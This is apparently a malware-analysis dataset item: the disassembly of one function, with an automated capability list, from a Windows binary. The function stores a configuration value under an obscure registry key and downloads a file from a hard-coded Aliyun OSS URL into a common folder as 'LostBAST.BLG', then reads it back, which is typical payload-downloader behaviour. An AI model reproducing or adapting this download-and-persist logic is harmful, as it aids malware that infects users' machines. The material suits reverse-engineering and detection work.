Function at 0x4185d0
Capabilities:
Check if file exists
Download url
Get common file path
Get file attributes
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43990b
mov eax, dword fs:[0]
push eax
mov eax, 0x3de8
call fcn.0042d850
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x2de6]
push ecx
mov word [ebp - 0x2de8], ax
call fcn.00422ed0
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x15e6]
push eax
mov word [ebp - 0x15e8], dx
call fcn.00422ed0
lea ecx, [ebp - 0x2de8]
push ecx
mov ecx, str.WEBGODROUP
call fcn.004065e0
add esp, 0x1c
lea edx, [ebp - 0x2de8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4189ad
push 0x104
lea eax, [ebp - 0x35e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x418daf
dec eax
test eax, eax
jle 0x4186ab
mov ecx, 0x5c
jmp 0x418690
cmp word [ebp + eax*2 - 0x35e8], cx
je 0x4186a1
dec eax
test eax, eax
jg 0x418690
jmp 0x4186ab
xor ecx, ecx
mov word [ebp + eax*2 - 0x35e6], cx
push str.dmEetfzcFeMLeUVb
lea edx, [ebp - 0x35e8]
push edx
lea eax, [ebp - 0x25e8]
push 0x43f14c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x25e8]
push ecx
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.0041de98
add esp, 4
push 0
push 0
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
lea edx, [ebp - 0x25e8]
push edx
push 0
push 0
call ebx
push 0x43ec28
push edi
call fcn.0042145e
mov edi, eax
add esp, 8
test edi, edi
je 0x418daf
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x25e8]
push eax
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.0041de98
add esp, 4
push 0
push 0
push esi
mov ebx, eax
push ebx
push 0xffffffffffffffff
lea ecx, [ebp - 0x25e8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x43ec28
push ebx
call fcn.0042145e
mov esi, eax
add esp, 8
test esi, esi
je 0x418daf
push 2
push 0
push esi
call fcn.00421b31
push esi
call fcn.004216b1
push esi
mov ebx, eax
call fcn.00421c1a
add esp, 0x14
test ebx, ebx
je 0x418daf
push edi
lea edx, [ebp - 0xde8]
push 0x3e8
push edx
call fcn.00421090
add esp, 0xc
test eax, eax
je 0x4187ef
lea eax, [ebp - 0xde8]
push 0x43f170
push eax
call fcn.004211c8
lea ecx, [ebp - 0xde8]
push ecx
push 0x43da00
call fcn.004212e5
push edi
lea edx, [ebp - 0xde8]
push 0x3e8
push edx
call fcn.00421090
add esp, 0x1c
test eax, eax
jne 0x4187b4
push edi
call fcn.00421c1a
lea eax, [ebp - 0xde8]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418801
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0xde8]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0xde8]
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418830
push eax
sub ecx, esi
lea edx, [ebp - 0x15e8]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xde8]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x3dec]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4188a5
lea edx, [ebp - 0x15e8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x3dec]
add eax, eax
push eax
lea eax, [ebp - 0x15e8]
push eax
push 1
push 0
push str.WEBGODROUP
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4188a5
mov edx, dword [ebp - 0x3dec]
push edx
jmp 0x4188ac
mov eax, dword [ebp - 0x3dec]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea ecx, [ebp - 0x40f]
push 0
push ecx
mov byte [ebp - 0x410], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x15e8]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x410]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x15e8]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0x410]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418910
sub eax, edx
lea edx, [ebp - 0x410]
push edx
mov edx, eax
call fcn.00406990
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x1de6]
push ecx
mov word [ebp - 0x1de8], ax
call fcn.00422ed0
lea eax, [ebp - 0x410]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418950
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x410]
push edx
push 0
push 0
call ebx
lea ecx, [ebp - 0x410]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418975
push eax
sub ecx, esi
lea eax, [ebp - 0x1de8]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x410]
push ecx
push 0
push 0
call ebx
lea edx, [ebp - 0x1de8]
push edx
push 0x400
lea eax, [ebp - 0x15e8]
push eax
jmp 0x418b33
push 0x208
lea ecx, [ebp - 0x618]
push 0
push ecx
mov dword [ebp - 0x3dec], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x3dec]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x3df4], 0x104
mov dword [ebp - 0x3df0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x3df4]
push eax
mov eax, dword [ebp - 0x3dec]
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x3df0]
push edx
push 0
push str.WEBGODROUP
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x3dec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0x40f]
push 0
push edx
mov byte [ebp - 0x410], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x618]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x410]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x618]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0x410]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418a90
sub eax, edx
lea ecx, [ebp - 0x410]
push ecx
mov edx, eax
call fcn.00406990
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1de6]
push eax
mov word [ebp - 0x1de8], dx
call fcn.00422ed0
lea eax, [ebp - 0x410]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418ad0
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x410]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0x410]
lea esi, [ecx + 1]
jmp 0x418b00
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418b00
push eax
sub ecx, esi
lea edx, [ebp - 0x1de8]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x410]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x1de8]
push ecx
push 0x400
lea edx, [ebp - 0x15e8]
push edx
call fcn.00420322
add esp, 0xc
push 0x440504
lea eax, [ebp - 0x15e8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x418daf
lea ecx, [ebp - 0xa00]
push ecx
push 0
push 0
push 0x2c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.LostBAST.BLG
lea edx, [ebp - 0xa00]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
add eax, 0x10
mov dword [ebp - 0x3dec], eax
push str..oss_cn_hongkong.aliyuncs.com_DnLUpXU_BAST
lea eax, [ebp - 0x15e8]
push eax
push str.http:__
push str._s_s_s
lea edi, [ebp - 0x3dec]
mov dword [ebp - 4], 0
call fcn.0040ec10
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
add esp, 0x10
push 0
call esi
mov edi, dword [ebp - 0x3dec]
push edi
call esi
push 0
push 0
lea ecx, [ebp - 0xa00]
push ecx
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x418d90
lea edx, [ebp - 0xa00]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x418c27
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x418c27
lea eax, [edi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x418da3
lea ecx, [ebp - 0xa00]
push 0x43ec28
push ecx
call fcn.0040d660
add esp, 4
push eax
call fcn.0042145e
mov esi, eax
add esp, 8
test esi, esi
je 0x418d90
lea ecx, [ebp - 0xa00]
push ecx
call fcn.0040d660
add esp, 4
call fcn.004177e0
test eax, eax
jne 0x418c76
lea ecx, [ebp - 0x3dec]
call fcn.0040e3b0
jmp 0x418daf
push esi
lea edx, [ebp - 0x7f8]
push 0x3e8
push edx
call fcn.00421090
add esp, 0xc
test eax, eax
je 0x418ccb
nop
lea eax, [ebp - 0x7f8]
push 0x43f170
push eax
call fcn.004211c8
lea ecx, [ebp - 0x7f8]
push ecx
push 0x43da00
call fcn.004212e5
push esi
lea edx, [ebp - 0x7f8]
push 0x3e8
push edx
call fcn.00421090
add esp, 0x1c
test eax, eax
jne 0x418c90
push esi
call fcn.00421c1a
lea eax, [ebp - 0x7f8]
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418ce0
sub eax, edx
lea ecx, [ebp - 0x7f8]
push ecx
mov edx, eax
call fcn.00406990
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3de6]
push eax
mov word [ebp - 0x3de8], dx
call fcn.00422ed0
lea eax, [ebp - 0x7f8]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418d20
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x7f8]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0x7f8]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418d45
push eax
sub ecx, esi
lea edx, [ebp - 0x3de8]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x7f8]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x3de8]
push ecx
push 0xff
push 0x44de98
call fcn.00420322
add esp, 0xc
lea ecx, [ebp - 0x3dec]
call fcn.0040e3b0
mov eax, 1
jmp 0x418db1
lea eax, [edi - 0x10]
or ecx, 0xffffffff
lea edx, [eax + 0xc]
mov dword [ebp - 4], ecx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x418daf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret